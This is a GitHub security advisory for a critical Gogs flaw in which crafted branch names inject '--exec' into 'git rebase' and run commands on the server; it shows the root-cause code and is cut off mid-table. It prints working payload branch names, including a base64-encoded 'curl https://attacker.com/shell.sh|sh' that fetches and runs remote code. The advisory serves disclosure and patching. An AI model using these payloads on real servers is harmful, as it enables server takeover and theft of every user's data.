GitHub Advisoryadvisory · Go

GHSA-qf6p-p7ww-cwr9 Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge

CRITICAL Published 2026-06-23 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-52806
Ecosystem
Go
Packages
gogs.io/gogs
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-77
Reviewed
2026-06-23

Affected packages

• Go gogs.io/gogs: < 0.14.3 → fixed in 0.14.3

Description

Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. Severity Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Affected Versions • Gogs 0.14.2 (latest supported release) • Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) • All prior versions that support the "Rebase before merging" merge style Impact This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: • Server compromise: Arbitrary command execution as the Gogs process user • Cross-tenant data breach: Read ALL repositories on the instance, including other users' private repos • Credential theft: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user • Lateral movement: Pivot to other systems accessible from the server's network • Supply chain attacks: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: • Open registration by default: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. • No admin required: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) • The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit • The exploit is fully automatable (see PoC) • The exploit leaves minimal traces (a 500 error in server logs, easily missed) Prerequisites The attacker needs one of the following: • Repo admin/owner on any repository (can enable rebase + create PR + merge) - any user who creates a repo has this by default • Write access to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: • Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced • The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can • Many organizations enable rebase merge as a standard practice Root Cause Analysis In `internal/database/pull.go`, the `Merge()` function passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the URL parameter in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via `RevParse` (defined in the external `git-module` library), but this only calls `git rev-parse --verify ` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, ``, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1 | `git clone -b '' ` | Succeeds - `-b` consumes `--exec=...` as the branch value | | 2 | `git remote add head_repo ` + `git fetch head_repo` | Succeeds normally | | 3 | `git rebase --quiet '' 'head_repo/feature'` | RCE fires here - `--exec=` parsed as flag, command runs via `sh -c` | | 4 | `git checkout -b ` | Succeeds (tmpBranch is a server-generated timestamp) | | 5 | `git checkout ''` | Fails - git…

Related

Alias · CVE (1)

  • CVE-2026-52806 Gogs is an open source self-hosted Git service. vulnerability

Weakness · CWE (1)

  • CWE-77 Improper Neutralization of Special Elements used in a Command weakness

References